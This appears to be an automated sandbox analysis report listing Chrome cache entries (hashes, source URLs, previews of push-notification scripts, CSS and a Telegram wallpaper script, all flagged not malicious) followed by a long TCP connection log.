SSDEEP:	384:UcXcqg1g3dQK8qjKn6xiB9YRLbfSQVaFq:UcFg1g3doqGuiB9YFfUFq
MD5:	FA936DB003728604FF3BAC1DBB53E1C4
SHA1:	A9F2FAB7CA62B5AAFA101096F76FB13DB34209D2
SHA-256:	FED18ACA19C5A40F85387AA0D06270E7C882D7C57AD95FC5F6F6EC72FC434430
SHA-512:	402B965666C1FF5F7BFDC6C594C8C1748EAFF2AFCC575C702FFF9F4F4B7568A2B7FD4E8B7F1D572B929D56FE60C7555EFD8E4A6C572BBB064EB233E5DD643023
Malicious:	false
Reputation:	low
URL:	https://secretsafedomain.com/service-worker.js
Preview:	"use strict";..importScripts('https://www.gstatic.com/firebasejs/5.0.2/firebase-app.js');.importScripts('https://www.gstatic.com/firebasejs/5.0.2/firebase-messaging.js');..//!!!! It must be changed before the release on the current date.var versionFromParam = '?ver=20220214';..var pushConfig = {. apiServerUrl: 'https://theseoffersforyou.com',. partyId: 'Q0Q6cUlBOExyZ20='.};..firebase.initializeApp({"messagingSenderId": "353793449981"});.var isoCountries = initCountries();..var indexedDBConfig = {. baseName: "subscriberData",. storeName: "subscriberData",. storedDataMap: new Map(),. version: 2.};..var indexedDBFCMConfig = {. baseName: "fcm_token_details_db",. storeName: "fcm_token_object_Store",. storedDataMap: new Map(),. version: 1.};..self.addEventListener('push', function (event) {. self.registration.update();. const promiseChain = Promise.all([loadDataFromDBToMap(indexedDBConfig), loadDataFromDBFCM()]).then(function (results) {. return get

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	942
Entropy (8bit):	4.549004331925654
Encrypted:	false
SSDEEP:	24:LtLtCXBS3Qmnn7CcFJwnvS3vrzsuwUATICXfvB9K4fX1t:NtC8xn2cvwnq/rzsyATICPvBVX1t
MD5:	D44C683C190640EC6ABFE970EF7C161E
SHA1:	0A5235022789CAE16A4D471B31C6308294E7C568
SHA-256:	F30A1C07EF8E01DA22A72FEDDFCCB6B0007D5830F33E198812E5553DD6530A9F
SHA-512:	546308E89CA7AAF8FA2E2D303C549DFF6A00FA735039B5BABEC960BECDB0B7BC41CAAA12AF9DCDD98790C396479FC801820AAADBDD97728B7AD7D79F57378865
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/assets/2246/css/age-styles-new.css
Preview:	html, body{.. height: 100%;.. width: 100%;.. margin: 0;.. padding: 0;...}.. .age-block a{...display: flex;.. align-items: center;.. justify-content: center;.. border: 1px solid white;.. padding: 10px 25px;.. margin: 10px;...min-width: 125px;.. font-size: 20px;.. min-height: 40px;.. text-decoration: none;.. }.. .container-block{.. display: flex;.. align-items: center;.. justify-content: center;...position: absolute;.. top: 0;.. z-index: 2;.. flex-direction:column;.. color: white;.. text-align:center;.. width: 100%;.. height: 100%;.. left: 0;...}.. .container-block p{...font-size: 25px;.. padding-bottom: 30px;...}.. .age-block{.. display:flex;.. flex-direction:row;.. }.. @media screen and (orientation:portrait){.. .age-block{.. display:flex;.. flex-direction:column;.. align-items: center;.. }.. }

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (1971)
Category:	downloaded
Size (bytes):	8434
Entropy (8bit):	5.479323620461233
Encrypted:	false
SSDEEP:	192:Fr7f8nV8cqqHxaITKgNwOZPFSpOI5tlomlls+x1GrrfwFvcDKKfYCBqZxS9ISvqj:erMIu6LZgvse1GrrfwFvcDKKfYCMZxSi
MD5:	A288177A606A9686132970835B3E572C
SHA1:	D2DBA49BEFDC68E678B992F454D6E515E10B0A1C
SHA-256:	7D1910801973390BD5CBDBE53EF4F788AB50CA5E7A4025415170494AB76FB960
SHA-512:	2C46D70F5113D9E8AF28954379F61E692468F59981416854FDB3A03275C7F2FFA513C2EBB6388B8EE763C63C5CB5539A94373FD37566965BC6277AED8B3D1C9C
Malicious:	false
Reputation:	low
URL:	https://cdn.smrt-content.com/prod/push-utils.js
Preview:	function resolveCid(cid, pid) {..var result = -1;..if (typeof cid !== 'undefined' && cid !== null && !isNaN(parseInt(cid))) {...result = cid;..} else if (typeof pid !== 'undefined' && pid !== null && !isNaN(parseInt(pid))) {...result = pid;..}..return result;.};..function parseURL(url) {..var a = document.createElement('a');..a.href = url;..return {...source: url,...protocol: a.protocol.replace(':', ''),...host: a.hostname,...port: a.port,...query: a.search,...params: (function () {....var ret = {},.....seg = a.search.replace(/^\?/, '').split('&'),.....len = seg.length, i = 0, s;....for (; i < len; i++) {.....if (!seg[i]) {......continue;.....}.....s = seg[i].split('=');.....ret[s[0]] = s[1];....}....return ret;...})(),...file: (a.pathname.match(/([^/?#]+)$/i) \|\| [, ''])[1]..};.}..function getSubdomain() {..return (window.location.href).split("/")[2].split(".")[0];.}..var setCookie = function (name, value) {..var d = new Date;..d.setTime(d.getTime() + 2 * parseInt(1) * 60 * 60 * 1e3);.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 15557
Category:	downloaded
Size (bytes):	5851
Entropy (8bit):	7.963152784818258
Encrypted:	false
SSDEEP:	96:HXlA2MtzLesVMVaRooC8bHNZOHnwenTPKHPchga3L0AmetxGnOaqERaOkg3fnj:H1AbtzLerobvOHmvchg0QDeKPD9vj
MD5:	5B77D6D80DEB6612B420D1DD0E595419
SHA1:	F538CAA409362697AFAE33780A6A8A58FE53C946
SHA-256:	FAE67ECBCC07E623A9EAF4B4CA1787CC9C8546447E0399427BB121121F1C486A
SHA-512:	D1D6B3D97CE084CF2FE30792F4BEE49EC9F5B4EDB20AE2832DC0EBC48FB50A17A6212B3642934FB3F8B63655452CF43D0056BF0FE40119DF8517035383C58300
Malicious:	false
Reputation:	low
URL:	http://ww12.ngelit.com/?usid=18&utid=25970526717
Preview:	...........[.w.H..<.+...b.F..6^..FbCN^....h.%a.....wK...../..TUw.[w.[..7..v...}.......j^.{....\|...g.Y.s...^...V.........g............-_.r...f.....?..7.]o.\T....:.=nM.n...+M}l<j.n.Z....{.y...W...s...X=8..N..[E.....7..s[v[.w.v..Yg..^..<T..+U..J..?.....:..8...,;.....7w..s7.>;0}[..r.:.9Wg..bs.=%5...Q.0..YYr.A.xxxX..<R.T..v.$.U.....{....O.....N...o/&<..MI.\|...S.iC....L.~. UH".U.+.'..&..'.g.....?.....3l.7T3.i..b.yC..y...._....o.&.`..i...X..AK0.._..Y\7T%.i....T.L..\|...;...x.:S[?bS.....\|0.\.(....SI3...w1c..~..r.{...+.<....v...p.g.$.......X.<..m....kI..71...fl.6.....<..$.,.EL..%.......=...C=.1q8Qu..y7\.=Z....M..w..^..G..{..d.6}K..y..vU.'N..P.:...T....bs.6u=.=b....Z.;0.#...z.Jr.v8....KT..b..e&..x...#un:. b%../R.RE.h...k.Z...}L ...;.$e.Fs.I..2u.;h..xol.........;b....,..l........ ..vK.....#.."NeZ./...I.-.E..W..}.\|..Z....T..{.50g..S5...22wj.@...GE.[..._..C.".....9.H*.7.....un..!.?Ai..-y{P...........`/.Zim.G./T........N.....b\(`ZH..m.Ho....p

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2979), with no line terminators
Category:	downloaded
Size (bytes):	2979
Entropy (8bit):	5.648534994584625
Encrypted:	false
SSDEEP:	48:UQEHvIUHtDAYabRP46xcOfRRlUOS3+/fmsghxLU7Suj5OQRSLfctS/6uMMWjfYA1:vaLJByxvS3o6U7PRPM0j
MD5:	2B89D34702716A8AD2CC3977718F53A3
SHA1:	04406EBD6A9E2CE79DBAC5E5048CFE1384E4574A
SHA-256:	2031E418EE10AF8110729B3F327B968462FC0A9D8D1DA095387BB472CCD0DEE6
SHA-512:	E6FBDA1E7D1E24C0DB5A724E4CD30C883CEB5D35DE1CC6AB8851C9B19E202024752E7E42AECC21002F9F9684EA98775F1EBE0EE8DA9BD7562DAC2FE171464242
Malicious:	false
Reputation:	low
URL:	https://telegram.org/js/tgwallpaper.min.js?3
Preview:	var TWallpaper=function(){function x(a){for(var b=[].concat(G);0<a;)b.push(b.shift()),a--;a=[];for(var c=0;c<b.length;c+=2)a.push(b[c]);return a}function B(a,b){b%=90;var c=x(a%p);if(b){var d=x(++a%p);return[{x:c[0].x+(d[0].x-c[0].x)/90b,y:c[0].y+(d[0].y-c[0].y)/90b},{x:c[1].x+(d[1].x-c[1].x)/90b,y:c[1].y+(d[1].y-c[1].y)/90b},{x:c[2].x+(d[2].x-c[2].x)/90b,y:c[2].y+(d[2].y-c[2].y)/90b},{x:c[3].x+(d[3].x-c[3].x)/90b,y:c[3].y+(d[3].y-c[3].y)/90b}]}return c}function H(a){for(l+=a;90<=l;)l-=90,g++,g>=p&&(g-=p);for(;0>l;)l+=90,g--,0>g&&(g+=p)}function I(a){C+=a.deltaY;D\|\|(requestAnimationFrame(P),D=!0)}function P(){var a=C/50;C%=50;if(a=0<a?Math.floor(a):Math.ceil(a))H(a),a=B(g,l),y(z(a));D=!1}function Q(){if(0<A.length){var a=A.shift();y(a)}else clearInterval(E)}function z(a){for(var b=f._hctx.createImageData(50,50),c=b.data,d=0,q=0;50>q;q++)for(var h=q/50-.5,F=hh,v=0;50>v;v++){var m=v/50-.5,e=.35Math.sqrt(mm+F);e=ee*6.4;var r=Math.sin(e),w=Math.cos(e);e=Math.max(0,Math.min(1,.5

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 00:51:16.883332014 CEST	49675	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:16.883332014 CEST	49674	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:16.973253965 CEST	49673	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:23.482047081 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.482065916 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.482125998 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.482950926 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.482961893 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.994254112 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.994503021 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.994522095 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.995354891 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.995425940 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.996357918 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.996423006 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:23.996637106 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:23.996649027 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.050776005 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.185533047 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.190247059 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.190337896 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.190375090 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.204722881 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.204802990 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.204823971 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.206923008 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.206959963 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.206981897 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.206993103 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.207031965 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.207037926 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.207091093 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.207129002 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.257544994 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.257570982 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.257636070 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.258234978 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.258251905 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.262587070 CEST	49709	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.262593031 CEST	443	49709	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.302386045 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.302414894 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.302496910 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.302680016 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.302687883 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.302829981 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.303117037 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.303122997 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.303292036 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.304301977 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.304321051 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.304769039 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.304785013 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.305193901 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.305212021 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.774507999 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.816261053 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.857367992 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.857399940 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.857976913 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.860485077 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.860560894 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.865539074 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:24.906500101 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:24.930630922 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.931483984 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.931499004 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.931549072 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.931740999 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.932614088 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.932693958 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.933281898 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.933291912 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.933922052 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.933931112 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.934304953 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.934365034 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.935161114 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.935219049 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.936654091 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.936759949 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.936897039 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.936979055 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.937886953 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.937968016 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.938348055 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.938368082 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.938684940 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.938695908 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.938719988 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.938738108 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:24.986942053 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.986942053 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:24.987349987 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.025500059 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.025582075 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.025636911 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.028529882 CEST	49712	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.028553009 CEST	443	49712	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.031824112 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.031861067 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.031934023 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.032560110 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.032577991 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.190697908 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.190721989 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.190778971 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.190817118 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.190817118 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.193887949 CEST	49714	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.193901062 CEST	443	49714	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230051041 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230078936 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230088949 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230102062 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230138063 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230176926 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.230195045 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.230211020 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.230420113 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.250422955 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250507116 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250529051 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250557899 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.250567913 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250576019 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250586033 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250606060 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250616074 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.250637054 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.250642061 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.250665903 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.271625996 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.271650076 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.271727085 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.271745920 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.273201942 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.279366016 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.279412985 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.279450893 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.279453993 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.279491901 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.280122042 CEST	49713	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.280144930 CEST	443	49713	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.284881115 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.284948111 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.284982920 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.284992933 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.285038948 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.287201881 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.287245989 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.287275076 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.287283897 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.287337065 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.330712080 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.370212078 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.370251894 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.370299101 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.370316029 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.370331049 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.370354891 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.370361090 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.370484114 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.373831034 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.373893976 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.373922110 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.373929024 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.373981953 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.373981953 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.376955032 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.377005100 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.377041101 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.377048016 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.377074957 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.377106905 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.437158108 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.437187910 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.437223911 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.437247992 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.437256098 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.437302113 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.437320948 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.437414885 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.438214064 CEST	49715	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.438227892 CEST	443	49715	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.545583963 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.545870066 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.545896053 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.546269894 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.546777010 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.546833992 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.547125101 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.594495058 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.750252962 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.750320911 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.750382900 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.750412941 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.750830889 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.750883102 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.750890017 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.752300978 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.752392054 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.752397060 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.754779100 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.754817009 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.754832983 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.754837990 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.754889011 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.754894018 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.756408930 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.756601095 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.756604910 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.803960085 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.803991079 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.838395119 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.838521957 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.838629007 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.842163086 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.842201948 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.842228889 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.842245102 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.842602015 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.842607975 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.843884945 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.843915939 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.843940973 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.843946934 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.843998909 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.844053030 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.844813108 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.844872952 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.844877958 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.845360041 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.845408916 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.845415115 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.846086979 CEST	443	49718	172.66.45.18	192.168.2.5
